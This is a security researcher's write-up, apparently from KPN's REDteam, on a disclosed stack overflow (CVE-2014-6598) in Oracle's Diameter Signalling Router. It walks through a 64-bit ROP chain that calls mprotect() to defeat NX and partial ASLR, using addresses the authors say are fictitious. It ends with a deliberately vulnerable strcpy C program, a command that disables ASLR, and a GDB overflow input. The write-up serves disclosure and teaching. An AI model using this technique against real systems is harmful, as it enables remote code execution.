
كتابة تحليلية عن ثغرة تجاوز سعة المخزن المؤقت للمكدس في Oracle DSR (DRA) CVE-2014-6598
KPN مشغّل اتصالات يقع في هولندا. تأسس فريق CISO REDteam في عام 2013 وهو فريق القرصنة الأخلاقية لدى KPN. يشارك هذا الفريق في اختبارات أمنية لتطبيقات KPN وخدماتها لضمان أن بيانات عملائنا آمنة من الوصول غير المصرح به والتعديل وفقدان البيانات.
تشغّل KPN أكبر شبكة جوال في هولندا. أحد مكونات شبكة الجيل الرابع التي تشغّلها KPN هو تطبيق وكيل توجيه Diameter المسمى Oracle Diameter Signalling Router (DSR). وكيل توجيه Diameter (DRA) هو عنصر وظيفي في شبكة الجيل الثالث أو الرابع يوفر إمكانيات توجيه في الوقت الفعلي لضمان توجيه الرسائل بين العناصر الصحيحة في الشبكة. قدّم 3GPP وكيل DRA لمعالجة الحجم المتزايد لحركة إشارات Diameter والتعقيد المتزايد لشبكات 4G LTE. يمكن نشره إما كموجّه أساسي يوجّه حركة المرور بين عناصر Diameter في الشبكة المنزلية، أو كموجّه بوابة يوجّه حركة المرور بين عناصر Diameter في الشبكة المنزلية وشبكة التجوال. وتحدد مواصفات 3GPP استخدام بروتوكول Diameter لعدد من الواجهات، بما في ذلك واجهة (S6a) المستخدمة للاتصال بين MME وHSS وكذلك للتجوال.
الصورة أدناه توضح نشرًا نموذجيًا لـ DRA في بيئة LTE. جميع الواجهات بين العناصر هي واجهات S6a.

إن Oracle DSR عبارة عن مجموعة من الأجهزة تعمل بنظام CentOS Linux وتؤدي وظيفة DRA. وعادةً ما يكون متصلاً بعدة MMEs وخادم HSS في شبكة LTE المنزلية، كما يمكن توصيله بشركاء التجوال عبر شبكة IPX.
باستخدام منصة Codenomicon DEFENSICS، اكتشف فريق KPN REDteam ثغرتين رئيسيتين في تطبيق Oracle DSR الإصدار 5.0:
تتيح الثغرة الأولى لمهاجم بعيد غير موثّق متصل بشبكة IPX اختراق DRA ومكوناته بالكامل. وعندما يسيطر المهاجم بشكل كامل على نظام DRA، يصبح قادرًا على مراقبة كل حركة المرور التي تمر عبر DRA، وربما اختراق الشبكة الأساسية لمشغّل الاتصالات أيضًا.
تعاملت Oracle مع الثغرات المبلغ عنها بجدية، وعمل فريق KPN REDteam عن كثب مع Oracle لحل هذه المشكلات، وهو ما ذُكر أيضًا في إشعار العملاء الخاص بهم:
"حددت اختبارات أمنية حديثة ثغرتين أمنيتين في إصدارات منتج Oracle Diameter Signaling Router. ولحماية شبكتك من الاستغلال المحتمل لهذه الثغرات، توصي Oracle بشدة بتطبيق الإجراءات الموضحة هنا دون تأخير. وتقرّ Oracle بفضل Frank Cozijnsen، المخترق الأخلاقي، من فريق KPN CISO REDteam، على اكتشاف ثغرة حزمة Diameter الموضحة أدناه. كما يُوجَّه شكر خاص إلى KPN على دعمهم خلال مرحلة التحليل لدى Oracle. ملاحظة: سيتم الكشف عن هذه النتائج علنًا مع تحديث التصحيح الحرج القادم لـ Oracle المقرر في 20 يناير 2015."
تشكل المشكلات المكتشفة تهديدًا خطيرًا لمشغلي الاتصالات الذين يستخدمون Oracle DSR ويمكن استغلالها من قبل أي مهاجم لديه إمكانية الوصول إلى اتصال IPX.
يختبر فريق KPN REDteam المنتجات والخدمات قبل نشرها في شبكات الإنتاج. وكجزء من مشروع ترقية، تم اختبار Oracle DSR الإصدار 5.0 من منظور أمني من قبل فريق KPN REDteam. تضمن الاختبار الأمني استخدام التشويش (fuzzing) على تطبيق DIAMETER في Oracle DSR باستخدام Codenomicon Diameter Server test Suite. تم استخدام رسالة طلب تبادل القدرات (CER)، والتي تُستخدم للتحقق من قدرات DIAMETER للخادم المستقبِل، كهدف أولي للتشويش. تم اختيار هذه الرسالة لأنها لا تُمرَّر إلى أنظمة أخرى مثل HSS، بل يعالجها DSR نفسه. أثناء التشويش، لوحظت عدة أعطال في عملية "dsr" على بطاقات معالج الرسائل (MP) في DSR.
باستخدام GDB مع إضافة PEDA، تم تحليل الانهيار، وفي النهاية تمت كتابة استغلال عن بُعد. كان الانهيار ناتجًا عن كتابة خارج الحدود (out of bounds write) تتجاوز نهاية المخزن المؤقت الموجود على المكدس. أدت الكتابة خارج الحدود إلى إتلاف المكدس ببيانات يتحكم فيها المستخدم. كما تم استبدال مؤشر الإرجاع المحفوظ، وهو العنوان الذي يعود إليه البرنامج بعد إنهاء تنفيذ دالة. وعندما يتمكن المهاجم من التحكم في مؤشر الإرجاع هذا، فقد يؤدي ذلك إلى تنفيذ تعليمات برمجية عشوائية.

السبب الرئيسي لكتابة هذه المدونة هو شرح كيفية نجاح فريق KPN REDteam في تجاوز حمايتي ASLR وNX المطبقتين، وتمكنه من إنشاء استغلال فعّال لتنفيذ التعليمات البرمجية عن بُعد. عادةً لا تمثل آليتا الحماية ASLR وNX عائقًا كبيرًا أمام المهاجمين، لكن DSR يعمل على CentOS 64 بت. لا توجد وثائق عملية كثيرة حول البرمجة الموجّهة للإرجاع (ROP) على أنظمة Linux 64 بت المحمية بـ ASLR.
أثناء التصحيح، لوحظ أن مكتبة libc كانت تُعيَّن دائمًا على نفس العنوان في عملية dsr، وأن العنوان لم يتغير بعد إعادة التشغيل. بينما كانت المكتبات الأخرى تُعيَّن في عناوين ذاكرة عشوائية في عملية dsr. ومعرفة عنوان ذاكرة libc يتيح استخدام libc كمصدر لأدوات ROP. وهناك خيار آخر هو استخدام ثنائي dsr نفسه كمصدر لأدوات ROP، لكن عدد الأدوات المفيدة في هذا الملف محدود.
للتغلب على حماية NX، يمكن استخدام دالة mprotect() لجعل المكدس قابلاً للتنفيذ، ولتمكين تنفيذ الشيل كود الخاص بنا.
تتطلب دالة mprotect() القيم التالية في السجلات المقابلة:
إذا تم تعيين كل هذه السجلات، يمكن استدعاء mprotect() عند الإزاحة 0xe54b0 في الإصدار المستهدف من مكتبة libc.
يفترض الجزء التالي من المستند معرفة مسبقة بـ ROP وآلية عمله. يوجد مثال جيد لإنشاء سلسلة ROP على نظام Linux 32 بت في shell-storm.org. ونظرًا لأن ASLR "جزئي"، فإن موقع المكدس نفسه لم يكن قابلًا للتنبؤ. تم استخدام أدوات ROP لتخزين قيمة مؤشر المكدس (%RSP) في السجل %RSI.
يجب أن يحتوي السجل %RDI على إزاحة الذاكرة للمنطقة التي يجب جعلها قابلة للتنفيذ.
يمكن استخدام مؤشر المكدس لتحديد عنوان الذاكرة هذا، ويجب ضبطه على حد صفحة ذاكرة. يمكن استخدام تعليمة XOR لتصفير آخر 4 بايتات من هذا العنوان لمطابقة حد الصفحة. لم يتوفر سوى أداة واحدة (gadget) للقيام بذلك على السجل %RAX، لذا فإن الخطوة الأولى هي نقل قيمة مؤشر المكدس إلى السجل %RAX.
لا يرغب فريق KPN REDteam في الكشف عن الكثير من المعلومات حول الاستغلال الفعلي في الوقت الحالي، لذا فإن العناوين المستخدمة أدناه خيالية. لكنها تعطي فكرة عن تسلسل التعليمات الذي يجب تنفيذه.
أولاً، يتم تخزين مؤشر المكدس في سجل. تم اختيار السجل %RSI لعدم وجود أدوات (gadgets) متاحة في ثنائي libc لتخزين القيمة مباشرة في السجل %RAX.
The following ROP gadgets were used:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
Before the overflow the registers look like this:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
The first objective is to get the value in %RSP to %RSI.
This results in the following first section of the payload:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
أول تعليمة يتم تنفيذها هي "pop rcx" والتي تُحمّل 0x00000039c2222222 في السجل %RCX. كما تُحرّك تعليمة pop مؤشر المكدس إلى الموضع الذي يُخزَّن فيه 0x00000039c3333333. وسيكون هذا هو عنوان أداة ROP التالية: "push rsp ; and al, 8 ; call rcx". تدفع تعليمة push rsp مؤشر المكدس إلى المكدس، وبعد ذلك يتم استدعاء العنوان الذي كان مخزّنًا سابقًا في السجل %RCX. يؤدي هذا إلى تحميل قيمتين من المكدس في السجلين %RDX و%RSI على التوالي، ثم العودة إلى العنوان 0x00000039c4444444. يحتوي السجل %RSI الآن على مؤشر المكدس الذي تم تخزينه سابقًا. تنسخ أداة ROP الموجودة عند العنوان 0x00000039c4444444 القيمة المخزنة في %RSI إلى %RAX.
يمكن الآن استخدام المؤشر إلى مكدسنا في السجل %RAX لتغيير أذونات خريطة الذاكرة على المكدس. لتصفير آخر 4 بايتات، نستخدم تعليمة XOR التي تنطبق فقط على آخر 4 بايتات من السجل %RAX:
Current values of the registers:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
XOR the last 4 bytes of %RAX
0x00000039c6666666 : xor ax, ax ; ret
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
الخطوة التالية هي نقل القيمة من %RAX إلى %RDI:
The following ROP gadgets are used:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
The way these instructions interact with each other is similar to the previously explained instructions.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
This results in the following register content:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
يحتوي السجل %RDI الآن على إزاحة ذاكرة على المكدس محصورة في حد صفحة.
يجب أن يحتوي السجل %RSI على حجم منطقة الذاكرة التي يجب تغييرها.
هذه خطوة سهلة، فقط ضع الحجم في %RSI.
Only one gadget is used, together with the size.
- 0x00000039c9999999 : pop rsi ; ret
The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
يجب أن يحتوي السجل %RDX على بت الأذونات، وفي حالتنا 0x7 -> أذونات rwx.
هذه الخطوة مشابهة للخطوة السابقة. سيتم سحب القيمة من المكدس:
Only one gadget is used, together with the permissions setting.
- 0x00000039caaaaaaa: pop rdx ; ret
The permissions value is 0x7 (read, write and execute permissions)
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
جميع السجلات الآن تحمل القيمة الصحيحة لجعل هذا الجزء من المكدس قابلاً للتنفيذ.
استدعاء mprotect()
يجب تضمين عنوان تعليمة mprotect() في الحمولة. في هذا المثال، يتم تحميل libc على العنوان 0x0000003888c00000، لذا فإن الحمولة التي ستجعل المكدس قابلاً للتنفيذ تبدو كما يلي:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
هذا كل شيء. لإنهاء الاستغلال، ما زال عليك التأكد من أن مؤشر التعليمات لديك يشير إلى الشيل كود الخاص بك، لكن ذلك سهل بعد الشرح المقدم.
يمكن بسهولة بناء سلسلة ROP واختبار كيفية عمل الأشياء على جهاز Linux 64 بت. لتجربتها بنفسك، يمكنك كتابة برنامج C ضعيف:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
قم بترجمة هذا البرنامج بدون حماية تحطيم المكدس (SSP)
$ gcc -fno-stack-protector -o exploitme exploitme.c
للاختبار، تأكد من تعطيل ASLR مؤقتًا:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
الآن شغّل GDB وابدأ الاختراق..
في GDB، قم بتشغيل هذا الملف باستخدام الوسيطة التالية:
run `perl -e'print "\x41" x500'`
إن إضافة PEDA لـ GDB تجعل الأمور أسهل بكثير، وستساعدك في العثور على أدوات ROP الخاصة بك.